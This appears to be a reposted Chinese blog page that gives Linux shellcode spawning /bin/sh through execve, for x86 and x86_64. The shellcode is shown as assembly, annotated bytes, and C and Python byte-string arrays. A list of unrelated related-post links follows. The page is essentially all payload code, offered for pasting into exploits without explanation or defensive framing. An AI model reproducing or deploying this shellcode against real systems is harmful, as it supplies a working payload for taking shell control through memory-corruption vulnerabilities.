linux exec /bin/sh shellcode x86 and x86_64
来源:互联网 发布:淘宝足球正品店铺 编辑:程序博客网 时间:2024/05/19 02:25
x86
xor %edx,%edxxor %eax,%eaxpush %eaxpush $0x68732f2fpush $0x6e69622fmov %esp,%ebxpush %eaxpush %ebxmov %esp,%ecxmov $0xb,%alint $0x80
c风格
unsigned char buf[] = "\x33\xd2\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e""\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
python:
buf = ""buf += "\x33\xd2\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"buf += "\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
x64:
"\x6a\x3b" # pushq$0x3b"\x58" # pop%rax"\x99" # cltd"\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" # mov$0x68732f6e69622f2f, %rbx"\x48\xc1\xeb\x08" # shr$0x8, %rbx"\x53" # push %rbx"\x48\x89\xe7" # mov %rsp, %rdi"\x52" # push%rdx"\x57" # push %rdi"\x48\x89\xe6" # mov %rsp, %rsi"\xb0\x3b" # mov$0x3b, %al"\x0f\x05" # syscall
C风格
unsigned char buf[] = "\x6a\x3b\x58\x99\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48""\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\xb0\x3b\x0f""\x05";
python
buf = ""buf += "\x6a\x3b\x58\x99\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73"buf += "\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48\x89"buf += "\xe6\xb0\x3b\x0f\x05"
0 0
- linux exec /bin/sh shellcode x86 and x86_64
- 20160620 qmake: could not exec '/usr/lib/x86_64-linux-gnu/qt4/bin/qmake': No such
- qmake: could not exec '/usr/lib/x86_64-linux-gnu/qt4/bin/qmake'
- source, exec and sh analysis
- DNS Reverse Download and Exec Shellcode
- /sbin/sh and /usr/bin/sh
- qmake: could not exec '/usr/lib/x86_64-linux-gnu/qt4/bin/qmake': No such file or directory
- qmake: could not exec ‘/usr/lib/x86_64-linux-gnu/qt4/bin/qmake’: No such file or directory
- qmake: could not exec '/usr/lib/x86_64-linux-gnu/qt5/bin/qmake': No such file or directory
- qmake: could not exec ‘/usr/lib/x86_64-linux-gnu/qt4/bin/qmake’: No such file or directory
- qmake: could not exec ‘/usr/lib/x86_64-linux-gnu/qt4/bin/qmake’: No such file or directory
- qmake: could not exec '/usr/lib/x86_64-linux-gnu/qt4/bin/qmake': No such file or directory
- qmake: could not exec '/usr/lib/x86_64-linux-gnu/qt4/bin/qmake': No such file or directory
- qmake: could not exec ‘/usr/lib/x86_64-linux-gnu/qt4/bin/qmake’: No such file or directory 解决方案
- exec '/system/bin/sh' failed: Bad address (14)
- linux x86_64 缓冲区溢出分析 以及 shellcode简介
- Linux x86 x64 x86_64 i386 amd64 区别
- The difference between /sbin/sh and /bin/sh
- 尚未解决的问题---------------socket对象都有哪些内容????
- jquery treegrid实例
- 二叉树遍历
- 持久化机制:
- 全志A20单独烧录内核
- linux exec /bin/sh shellcode x86 and x86_64
- echarts数据格式化处理
- 怎么锻炼出顶尖程序员的编码套路
- HDU3277MarriageMatchIII
- linux等待队列wait_queue_head_t和wait_queue_t
- Linux为什么最多能分4个四个主分区
- Ios项目添加Pods
- GRE写作必备句型
- 发布与订阅信息